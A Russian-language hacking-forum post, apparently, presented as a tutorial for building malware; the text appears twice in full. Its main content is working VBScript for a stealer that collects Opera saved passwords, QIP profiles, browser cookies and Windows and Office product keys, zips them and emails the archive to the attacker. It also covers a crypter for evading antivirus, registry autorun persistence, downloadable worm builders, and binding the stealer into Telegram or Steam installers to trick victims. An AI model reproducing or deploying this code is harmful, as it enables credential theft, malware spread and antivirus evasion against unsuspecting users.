Решил написать тему так как зае@а@и школьники со своими батниками, извиняюсь за хайд, так как не хочу чтобы все сгорело
Приступим к нашему писанию, для начала напишем стиллер на вбс скрипте
[LIKES=1][HIDE] 'указываем переменные
Const FOF_SIMPLEPROGRESS = 256
Dim MySource, MyTarget, MyHex, MyBinary, i
Dim oShell, oCTF
Dim oFileSys
dim winShell
dim newfolderpath
dim t
'тело
On Error Resume Next
h = Hour(Now)
m = Minute(Now)
s = Second(Now)
t = date() & "-" & h & "-" & m & "-" & s
dim filesys, newfolder
newfolderpath = "c:\SystemFolder" ' Название временной папки
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(newfolderpath) Then
Set newfolder = filesys.CreateFolder(newfolderpath)
End If
'собираем файлы
set filesys=Nothing
Set newfolder=Nothing
Set FileSystemObject = CreateObject("scripting.filesystemobject")
set WshShell1 = WScript.CreateObject("WScript.Shell")
str = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\Opera\Opera\wand.dat"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.copyfile "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\Opera\Opera\wand.dat" ,"C:\SystemFolder\wand.dat"
FolderSystemObject.copyfolder "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\QIP\Profiles" ,"C:\SystemFolder\Profiles"
'ключ от операционки и офиса
Set WshShell = CreateObject("WScript.Shell")
MicroSoft = "HKLM\SOFTWARE\Microsoft"
DigitalProductIdWindows = MicroSoft & "\Windows NT\CurrentVersion\DigitalProductId"
On Error Resume Next
Set Word = CreateObject("Word.Application")
DigitalProductIdOffice = MicroSoft & "\Office\" & word.Version & "\Registration\" & _
word.ProductCode & "\DigitalProductId"
Word.Quit
OfficeKey = GetKey(WshShell.RegRead(DigitalProductIdOffice))
WindowsKey = GetKey(WshShell.RegRead(DigitalProductIdWindows))
Function GetKey(byval p)
pc="BCDFGHJKMPQRTVWXY2346789"
For i=0 To 28
a=0
For j=0 To 14
a=p(66-j)+a*256
p(66-j)=(a\24) And 255
a=a Mod 24
Next
ProductKey = Mid(pc,a+1,1) & ProductKey
If (((i+2) Mod 6)=0) And (i<28) Then
i=i+1
ProductKey = "-" & ProductKey
End If
Next
GetKey = ProductKey
End Function
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.OpenTextFile("info.txt", 2, True)
f.WriteLine "Ключ от операционки: " & WindowsKey
f.WriteLine "Ключ от офиса(если пусто то офис не установлен): " & OfficeKey
'инфо о системе
Set WshShell = WScript.CreateObject("WScript.Shell")
Set WshSysEnv = WshShell.Environment("SYSTEM")
Set WshProEnv = WshShell.Environment("PROCESS")
SysInfo = "Системные параметры компьютера:" + Chr(10)+ Chr(10)
SysInfo = SysInfo + "Процессоров: " + _
WshSysEnv("NUMBER_OF_PROCESSORS") + Chr(10)
SysInfo = SysInfo + "Архитектура: " + _
WshSysEnv("PROCESSOR_ARCHITECTURE") + Chr(10)
SysInfo = SysInfo + "ID процессора: " + _
WshSysEnv("PROCESSOR_IDENTIFIER") + Chr(10)
SysInfo = SysInfo + "Поколение: " + _
WshSysEnv("PROCESSOR_LEVEL") + Chr(10)
SysInfo = SysInfo + "Операционная система: " + WshSysEnv("OS") + Chr(10)
SysInfo = SysInfo + "Файл командной строки: " + _
WshProEnv("COMSPEC") + Chr(10)
SysInfo = SysInfo + "Пути: " + WshProEnv("PATH") + Chr(10)
SysInfo = SysInfo + "Исполняемые файлы: " + _
WshSysEnv("PATHEXT") + Chr(10)
SysInfo = SysInfo + "Директория Windows: " + _
WshProEnv("WINDIR") + Chr(10)
SysInfo = SysInfo + "Временная папка: " + WshProEnv("TEMP") + Chr(10)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.OpenTextFile("info.txt", 2, True)
f.WriteLine "" & SysInfo
f.Close
Set FSO = CreateObject("Scripting.FileSystemObject")
f.Close
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file1 = FSO.GetFile("info.txt")
file1.Move("c:\SystemFolder\info.txt")
Else
End If
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim MyZipName
Dim oApp, oFolder, oFile
set WshShell1 = WScript.CreateObject("WScript.Shell")
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Cookies"
set WshShell1 = Nothing
MySource = filePath
MyTarget = newfolderpath & "\" & t
archPath_IE = t & "-"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
For i = 0 To UBound(MyHex)
MyBinary = MyBinary & Chr(MyHex(i))
Next
Set oShell = CreateObject("WScript.Shell")
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oCTF = oFileSys.CreateTextFile(MyTarget, True)
oCTF.Write MyBinary
oCTF.Close
Set oCTF = Nothing
Set oApp = CreateObject("Shell.Application")
Set oFolder = oApp.NameSpace(MySource)
If Not oFolder Is Nothing Then
oApp.NameSpace(MyTarget).CopyHere oFolder.Items
End If
wScript.Sleep(5000)
Set oFile = Nothing
On Error Resume Next
Do While (oFile Is Nothing)
Set oFile = oFileSys.OpenTextFile(MyTarget, ForAppending, False)
If Err.number <> 0 then
Err.Clear
wScript.Sleep 3000
End If
'архивируем
Loop
Set oFile=Nothing
Set oFileSys=Nothing
Dim arrResult
arrResult = ZipFolder( "C:\SystemFolder", "C:\SystemFolder.zip" )
If arrResult(0) <> 0 Then
WScript.Echo "ERROR " & Join( arrResult, vbCrLf )
End If
Function ZipFolder( myFolder, myZipFile )
Dim objApp, objFSO, objTxt
Const ForWriting = 2
If Right( myFolder, 1 ) <> "\" Then
myFolder = myFolder & "\"
End If
On Error Resume Next
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Set objTxt = objFSO.OpenTextFile( myZipFile, ForWriting, True )
objTxt.Write "PK" & Chr(5) & Chr(6) & String( 18, Chr(0) )
objTxt.Close
Set objTxt = Nothing
Set objFSO = Nothing
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Err.Clear
On Error Goto 0
Exit Function
End If
Set objApp = CreateObject( "Shell.Application" )
objApp.NameSpace( myZipFile ).CopyHere objApp.NameSpace( myFolder ).Items
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Set objApp = Nothing
Err.Clear
On Error Goto 0
Exit Function
End If
Do Until objApp.NameSpace( myZipFile ).Items.Count _
= objApp.NameSpace( myFolder ).Items.Count
WScript.Sleep 200
Loop
Set objApp = Nothing
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Err.Clear
On Error Goto 0
Exit Function
End If
On Error Goto 0
ZipFolder = Array( 0, "", "" )
End Function
'отправляем на мыло
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","[email protected]","[email protected]","passi_lamera=)","Хозяин, я тебе тут пароли лоха подкинул=)")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="user_mail"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="pass_mail"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
iMsg.AddAttachment "C:\SystemFolder.zip"
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing
'удаляем zip-архив
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2 = FSO.GetFile("c:\SystemFolder.zip")
file2.Delete
'удаляем info.txt
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2 = FSO.GetFile("c:\SystemFolder\info.txt")
file2.Delete
'удаляем wand.dat
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2 = FSO.GetFile("c:\SystemFolder\wand.dat")
file2.Delete
[/HIDE]
написали переименовали из txt в файл в vbs(по умолчанию в винде выкл переименования файлов, загуглите как вкл)
и еще одно, в mail и других почтах что бы отсылало нормально логи, надо зайти в настройки
теперь у нас есть
-Вытаскивает инфо о системе, ключи офиса и винды и т.д.
-Вытаскивает файлы, при этом реализовал так, чтоб даже если к этому файлу обращается другая прога, скрипт все равно мог скопировать этот файл, а не возвратил ошибку
-Складывает все в папку
-Архивирует папку в ZIP средствами винды
-Отправляет все это добро на e-mail
-Удаляет за собой следы
но есть и минусы
теперь пошла укрепительная часть( самое на мой вкус сладенькое)
-доп вбс скрипты
[HIDE]1)Шифрование (BAT+VBS)[/HIDE][HIDE][/hide][HIDE][/HIDE][HIDE][/hide][HIDE]
crypt.vbs
Visual Basic
if Wscript.Arguments.count < 4 then
Wscript.Echo "Неверный синтаксис"
Wscript.Quit
end if
if Wscript.Arguments(0) = "crypt" then
OutLn = Crypt(Wscript.Arguments(1),Wscript.Arguments(2))
else
if Wscript.Arguments(0) = "decrypt" then
OutLn = Decrypt(Wscript.Arguments(1),Wscript.Arguments(2))
else
Wscript.Echo "Неизвестная функция: " & Wscript.Arguments(0)
end if
end if
Set FSO = CreateObject("Scripting.FileSystemObject")
With FSO.OpenTextFile(Wscript.Arguments(3),2, True)
.Write(OutLn)
.Close
End With
Wscript.Quit
Function Crypt(Source, Key)
With CreateObject("Scripting.FileSystemObject")
With .OpenTextFile(Source, 1, False)
SourceText = .ReadAll
.Close
End With
With .OpenTextFile(Key, 1, False)
KeyText = .ReadAll
.Close
End With
End With
Crypt=""
KeyL = Len(KeyText)
for i = 1 to Len(SourceText)
Crypt = Crypt & chr(Circle(Asc(Mid(SourceText, i, 1)),Asc(Mid(KeyText, NumbKT(i,KeyL), 1)),255,0))
next
End Function
Function Decrypt(Crypted, Key)
With CreateObject("Scripting.FileSystemObject")
With .OpenTextFile(Crypted, 1, False)
CrText = .ReadAll
.Close
End With
With .OpenTextFile(Key, 1, False)
KeyText = .ReadAll
.Close
End With
End With
Decrypt=""
KeyL = Len(KeyText)
for i = 1 to Len(CrText)
Decrypt = Decrypt & chr(Circle(Asc(Mid(CrText, i, 1)),Asc(Mid(KeyText, NumbKT(i,KeyL), 1)),255,1))
next
End Function
Function NumbKT(position, Length)
NumbKt = position-Length*(position\Length)
if NumbKT = 0 then NumbKT = Length
End Function
Function Circle(Code1, Code2, Max, Sign)
if Sign = 1 then Circle = Code1 + Code2
if Sign = 0 then Circle = Code1 - Code2
if Circle > Max then Circle = Circle - Max*(Circle\Max)
if Circle < 1 then Circle = Max + Circle
End Function
crypt.bat
Bash
бат часть
@echo off
cscript crypt.vbs %* //NOLOGO
echo.All
pause>nul
exit /b
2)добавление в авто загрузку
Dim vOrg, objArgs, root, key, WshShell
root = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"
KeyHP = "Program"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite root+keyHP,"FILEPATH /autorun"
Вместо FILEPATH напиши полный путь до места где будет находиться твоя программа.
К примеру, если программа называется test.vbs и находится на диске D в папке TEMP, то
путь должен быть следующим: D:\TEMP\test.vbs [/hide][HIDE][/hide][HIDE]
[/HIDE]
-червь онлайн (еще топовее)
Worm Ghost Eye
им мы воспользуемся для спама на форумах старый но живой добавляет +5детектов
1)пароль уже вставлен
2)открываете в stub в stub.exe browse
Посмотреть вложение 651
дальше все как по маслу ставите что нужда просит
будет как отдельный процесс
пароль 211 скачать https://yadi.sk/d/mJDv0iRywbekfQ ! VT советую юзать на песочнице хоть и чисто
Necrophilie v4.0 офигенный бат генератор для распостронения и офигенный он именно вт своим ВТ ФАЙЛА
прошу не заливать сам билдер и лучше батники хотя ничего такого в них нету но палится мало
[DAYS=30]Яндекс диск[/DAYS] запускайте только на песочнице я незнаю что они там могли всунуть, на взгляд ничего но все же
Посмотреть вложение 652
так же вам понадобится джойнер солью свой терять нечего раз решил написать годноту так держите
Яндекс диск ! VT ни сувал люди ничего туда я, он чист
-червь оффник
как то раз я подумал избавятся от червя и все тут, и придумал алгоритм во время установки вашего виря
1)для этого понадобится любой джойнер не советую моим так как он больше файлы не клеет и не факт что sfx одобрит
2)вспоминаем очень-очень популярные приложения по типу Telegram desktop и steam
3)как я думаю вы уже поняли фишка вся будет в замене файла зараженным и ярлык будет принимать зараженный ехе приступим
4)склеиваем телеграм с вирусом
РАСПАКОВКА
5)создаем sfx архив берем склееный телеграм
ставим галочки на самое фоновое что бы установщик не палился и ставим распаковать в C:\Program Files (x86)
и получается что телега распаковывается туда
6)забирать мы это добро будем батником, создаем батник пишем код
copy /y "C:\Program Files (x86)\Telegram.exe" "C:\Users\acer24\AppData\Roaming\Telegram Desktop"
1файл-наш телег склееный 2 файл- оригинальная папка файла
7)все теперь когда жертва будет открывать она получит стиллер который будет лежать в вами прогах да вес файла будет конечно большой если он будет включать в себя телегу, стим и еще много чего нибудь
ПОДВЕДЕМ ИТОГИ
МЫ ПОЛУЧАЕМ
-стиллер на почту всех паролей из браузеров которые вы указали
-червь который будет копироваться на флешку (любой usb)
-червь который будет копироваться на p2p
-червь который будет спамить во всех браузерах на всех сайтах ваше по что бы продолжить себя или рекламить
-червь который будет заменять приложения с папками не защищенными правами администратора
-и многое другое
Мы получаем детект чистым стиллером 5/68
Мы получаем детект c Worm Ghost Eye 8/68
Мы получаем детект c Necrophilie v4.0 4/68
Мы получаем детект c полными преимуществами 8-9/68
Писать вторую часть статейки? надеюсь вам понравилось))
[/LIKES]
Приступим к нашему писанию, для начала напишем стиллер на вбс скрипте
[LIKES=1][HIDE] 'указываем переменные
Const FOF_SIMPLEPROGRESS = 256
Dim MySource, MyTarget, MyHex, MyBinary, i
Dim oShell, oCTF
Dim oFileSys
dim winShell
dim newfolderpath
dim t
'тело
On Error Resume Next
h = Hour(Now)
m = Minute(Now)
s = Second(Now)
t = date() & "-" & h & "-" & m & "-" & s
dim filesys, newfolder
newfolderpath = "c:\SystemFolder" ' Название временной папки
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(newfolderpath) Then
Set newfolder = filesys.CreateFolder(newfolderpath)
End If
'собираем файлы
set filesys=Nothing
Set newfolder=Nothing
Set FileSystemObject = CreateObject("scripting.filesystemobject")
set WshShell1 = WScript.CreateObject("WScript.Shell")
str = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\Opera\Opera\wand.dat"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.copyfile "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\Opera\Opera\wand.dat" ,"C:\SystemFolder\wand.dat"
FolderSystemObject.copyfolder "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\QIP\Profiles" ,"C:\SystemFolder\Profiles"
'ключ от операционки и офиса
Set WshShell = CreateObject("WScript.Shell")
MicroSoft = "HKLM\SOFTWARE\Microsoft"
DigitalProductIdWindows = MicroSoft & "\Windows NT\CurrentVersion\DigitalProductId"
On Error Resume Next
Set Word = CreateObject("Word.Application")
DigitalProductIdOffice = MicroSoft & "\Office\" & word.Version & "\Registration\" & _
word.ProductCode & "\DigitalProductId"
Word.Quit
OfficeKey = GetKey(WshShell.RegRead(DigitalProductIdOffice))
WindowsKey = GetKey(WshShell.RegRead(DigitalProductIdWindows))
Function GetKey(byval p)
pc="BCDFGHJKMPQRTVWXY2346789"
For i=0 To 28
a=0
For j=0 To 14
a=p(66-j)+a*256
p(66-j)=(a\24) And 255
a=a Mod 24
Next
ProductKey = Mid(pc,a+1,1) & ProductKey
If (((i+2) Mod 6)=0) And (i<28) Then
i=i+1
ProductKey = "-" & ProductKey
End If
Next
GetKey = ProductKey
End Function
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.OpenTextFile("info.txt", 2, True)
f.WriteLine "Ключ от операционки: " & WindowsKey
f.WriteLine "Ключ от офиса(если пусто то офис не установлен): " & OfficeKey
'инфо о системе
Set WshShell = WScript.CreateObject("WScript.Shell")
Set WshSysEnv = WshShell.Environment("SYSTEM")
Set WshProEnv = WshShell.Environment("PROCESS")
SysInfo = "Системные параметры компьютера:" + Chr(10)+ Chr(10)
SysInfo = SysInfo + "Процессоров: " + _
WshSysEnv("NUMBER_OF_PROCESSORS") + Chr(10)
SysInfo = SysInfo + "Архитектура: " + _
WshSysEnv("PROCESSOR_ARCHITECTURE") + Chr(10)
SysInfo = SysInfo + "ID процессора: " + _
WshSysEnv("PROCESSOR_IDENTIFIER") + Chr(10)
SysInfo = SysInfo + "Поколение: " + _
WshSysEnv("PROCESSOR_LEVEL") + Chr(10)
SysInfo = SysInfo + "Операционная система: " + WshSysEnv("OS") + Chr(10)
SysInfo = SysInfo + "Файл командной строки: " + _
WshProEnv("COMSPEC") + Chr(10)
SysInfo = SysInfo + "Пути: " + WshProEnv("PATH") + Chr(10)
SysInfo = SysInfo + "Исполняемые файлы: " + _
WshSysEnv("PATHEXT") + Chr(10)
SysInfo = SysInfo + "Директория Windows: " + _
WshProEnv("WINDIR") + Chr(10)
SysInfo = SysInfo + "Временная папка: " + WshProEnv("TEMP") + Chr(10)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.OpenTextFile("info.txt", 2, True)
f.WriteLine "" & SysInfo
f.Close
Set FSO = CreateObject("Scripting.FileSystemObject")
f.Close
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file1 = FSO.GetFile("info.txt")
file1.Move("c:\SystemFolder\info.txt")
Else
End If
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim MyZipName
Dim oApp, oFolder, oFile
set WshShell1 = WScript.CreateObject("WScript.Shell")
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Cookies"
set WshShell1 = Nothing
MySource = filePath
MyTarget = newfolderpath & "\" & t
archPath_IE = t & "-"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
For i = 0 To UBound(MyHex)
MyBinary = MyBinary & Chr(MyHex(i))
Next
Set oShell = CreateObject("WScript.Shell")
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oCTF = oFileSys.CreateTextFile(MyTarget, True)
oCTF.Write MyBinary
oCTF.Close
Set oCTF = Nothing
Set oApp = CreateObject("Shell.Application")
Set oFolder = oApp.NameSpace(MySource)
If Not oFolder Is Nothing Then
oApp.NameSpace(MyTarget).CopyHere oFolder.Items
End If
wScript.Sleep(5000)
Set oFile = Nothing
On Error Resume Next
Do While (oFile Is Nothing)
Set oFile = oFileSys.OpenTextFile(MyTarget, ForAppending, False)
If Err.number <> 0 then
Err.Clear
wScript.Sleep 3000
End If
'архивируем
Loop
Set oFile=Nothing
Set oFileSys=Nothing
Dim arrResult
arrResult = ZipFolder( "C:\SystemFolder", "C:\SystemFolder.zip" )
If arrResult(0) <> 0 Then
WScript.Echo "ERROR " & Join( arrResult, vbCrLf )
End If
Function ZipFolder( myFolder, myZipFile )
Dim objApp, objFSO, objTxt
Const ForWriting = 2
If Right( myFolder, 1 ) <> "\" Then
myFolder = myFolder & "\"
End If
On Error Resume Next
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Set objTxt = objFSO.OpenTextFile( myZipFile, ForWriting, True )
objTxt.Write "PK" & Chr(5) & Chr(6) & String( 18, Chr(0) )
objTxt.Close
Set objTxt = Nothing
Set objFSO = Nothing
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Err.Clear
On Error Goto 0
Exit Function
End If
Set objApp = CreateObject( "Shell.Application" )
objApp.NameSpace( myZipFile ).CopyHere objApp.NameSpace( myFolder ).Items
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Set objApp = Nothing
Err.Clear
On Error Goto 0
Exit Function
End If
Do Until objApp.NameSpace( myZipFile ).Items.Count _
= objApp.NameSpace( myFolder ).Items.Count
WScript.Sleep 200
Loop
Set objApp = Nothing
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Err.Clear
On Error Goto 0
Exit Function
End If
On Error Goto 0
ZipFolder = Array( 0, "", "" )
End Function
'отправляем на мыло
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","[email protected]","[email protected]","passi_lamera=)","Хозяин, я тебе тут пароли лоха подкинул=)")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="user_mail"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="pass_mail"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
iMsg.AddAttachment "C:\SystemFolder.zip"
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing
'удаляем zip-архив
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2 = FSO.GetFile("c:\SystemFolder.zip")
file2.Delete
'удаляем info.txt
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2 = FSO.GetFile("c:\SystemFolder\info.txt")
file2.Delete
'удаляем wand.dat
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2 = FSO.GetFile("c:\SystemFolder\wand.dat")
file2.Delete
[/HIDE]
написали переименовали из txt в файл в vbs(по умолчанию в винде выкл переименования файлов, загуглите как вкл)
и еще одно, в mail и других почтах что бы отсылало нормально логи, надо зайти в настройки
теперь у нас есть
-Вытаскивает инфо о системе, ключи офиса и винды и т.д.
-Вытаскивает файлы, при этом реализовал так, чтоб даже если к этому файлу обращается другая прога, скрипт все равно мог скопировать этот файл, а не возвратил ошибку
-Складывает все в папку
-Архивирует папку в ZIP средствами винды
-Отправляет все это добро на e-mail
-Удаляет за собой следы
но есть и минусы
- Системный диск константно прописан если не диск c не работает (хотя можно, зделать рафт и склеить два на два скрипта джойнером или sfx склейкой)
- Пути к файлам также константно прописаны.
- Такая smtp отправка не на любой системе сработает. Хотя 90% шанса что такого не будет
теперь пошла укрепительная часть( самое на мой вкус сладенькое)
-доп вбс скрипты
[HIDE]1)Шифрование (BAT+VBS)[/HIDE][HIDE][/hide][HIDE][/HIDE][HIDE][/hide][HIDE]
crypt.vbs
Visual Basic
if Wscript.Arguments.count < 4 then
Wscript.Echo "Неверный синтаксис"
Wscript.Quit
end if
if Wscript.Arguments(0) = "crypt" then
OutLn = Crypt(Wscript.Arguments(1),Wscript.Arguments(2))
else
if Wscript.Arguments(0) = "decrypt" then
OutLn = Decrypt(Wscript.Arguments(1),Wscript.Arguments(2))
else
Wscript.Echo "Неизвестная функция: " & Wscript.Arguments(0)
end if
end if
Set FSO = CreateObject("Scripting.FileSystemObject")
With FSO.OpenTextFile(Wscript.Arguments(3),2, True)
.Write(OutLn)
.Close
End With
Wscript.Quit
Function Crypt(Source, Key)
With CreateObject("Scripting.FileSystemObject")
With .OpenTextFile(Source, 1, False)
SourceText = .ReadAll
.Close
End With
With .OpenTextFile(Key, 1, False)
KeyText = .ReadAll
.Close
End With
End With
Crypt=""
KeyL = Len(KeyText)
for i = 1 to Len(SourceText)
Crypt = Crypt & chr(Circle(Asc(Mid(SourceText, i, 1)),Asc(Mid(KeyText, NumbKT(i,KeyL), 1)),255,0))
next
End Function
Function Decrypt(Crypted, Key)
With CreateObject("Scripting.FileSystemObject")
With .OpenTextFile(Crypted, 1, False)
CrText = .ReadAll
.Close
End With
With .OpenTextFile(Key, 1, False)
KeyText = .ReadAll
.Close
End With
End With
Decrypt=""
KeyL = Len(KeyText)
for i = 1 to Len(CrText)
Decrypt = Decrypt & chr(Circle(Asc(Mid(CrText, i, 1)),Asc(Mid(KeyText, NumbKT(i,KeyL), 1)),255,1))
next
End Function
Function NumbKT(position, Length)
NumbKt = position-Length*(position\Length)
if NumbKT = 0 then NumbKT = Length
End Function
Function Circle(Code1, Code2, Max, Sign)
if Sign = 1 then Circle = Code1 + Code2
if Sign = 0 then Circle = Code1 - Code2
if Circle > Max then Circle = Circle - Max*(Circle\Max)
if Circle < 1 then Circle = Max + Circle
End Function
crypt.bat
Bash
бат часть
@echo off
cscript crypt.vbs %* //NOLOGO
echo.All
pause>nul
exit /b
2)добавление в авто загрузку
Dim vOrg, objArgs, root, key, WshShell
root = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"
KeyHP = "Program"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite root+keyHP,"FILEPATH /autorun"
Вместо FILEPATH напиши полный путь до места где будет находиться твоя программа.
К примеру, если программа называется test.vbs и находится на диске D в папке TEMP, то
путь должен быть следующим: D:\TEMP\test.vbs [/hide][HIDE][/hide][HIDE]
[/HIDE]
-червь онлайн (еще топовее)
Worm Ghost Eye
им мы воспользуемся для спама на форумах старый но живой добавляет +5детектов
1)пароль уже вставлен
2)открываете в stub в stub.exe browse
Посмотреть вложение 651
дальше все как по маслу ставите что нужда просит
будет как отдельный процесс
пароль 211 скачать https://yadi.sk/d/mJDv0iRywbekfQ ! VT советую юзать на песочнице хоть и чисто
Necrophilie v4.0 офигенный бат генератор для распостронения и офигенный он именно вт своим ВТ ФАЙЛА
прошу не заливать сам билдер и лучше батники хотя ничего такого в них нету но палится мало
[DAYS=30]Яндекс диск[/DAYS] запускайте только на песочнице я незнаю что они там могли всунуть, на взгляд ничего но все же
Посмотреть вложение 652
так же вам понадобится джойнер солью свой терять нечего раз решил написать годноту так держите
Яндекс диск ! VT ни сувал люди ничего туда я, он чист
-червь оффник
как то раз я подумал избавятся от червя и все тут, и придумал алгоритм во время установки вашего виря
1)для этого понадобится любой джойнер не советую моим так как он больше файлы не клеет и не факт что sfx одобрит
2)вспоминаем очень-очень популярные приложения по типу Telegram desktop и steam
3)как я думаю вы уже поняли фишка вся будет в замене файла зараженным и ярлык будет принимать зараженный ехе приступим
4)склеиваем телеграм с вирусом
РАСПАКОВКА
5)создаем sfx архив берем склееный телеграм
ставим галочки на самое фоновое что бы установщик не палился и ставим распаковать в C:\Program Files (x86)
и получается что телега распаковывается туда
6)забирать мы это добро будем батником, создаем батник пишем код
copy /y "C:\Program Files (x86)\Telegram.exe" "C:\Users\acer24\AppData\Roaming\Telegram Desktop"
1файл-наш телег склееный 2 файл- оригинальная папка файла
7)все теперь когда жертва будет открывать она получит стиллер который будет лежать в вами прогах да вес файла будет конечно большой если он будет включать в себя телегу, стим и еще много чего нибудь
ПОДВЕДЕМ ИТОГИ
МЫ ПОЛУЧАЕМ
-стиллер на почту всех паролей из браузеров которые вы указали
-червь который будет копироваться на флешку (любой usb)
-червь который будет копироваться на p2p
-червь который будет спамить во всех браузерах на всех сайтах ваше по что бы продолжить себя или рекламить
-червь который будет заменять приложения с папками не защищенными правами администратора
-и многое другое
Мы получаем детект чистым стиллером 5/68
Мы получаем детект c Worm Ghost Eye 8/68
Мы получаем детект c Necrophilie v4.0 4/68
Мы получаем детект c полными преимуществами 8-9/68
Писать вторую часть статейки? надеюсь вам понравилось))
[/LIKES]
Вложения
Последнее редактирование:
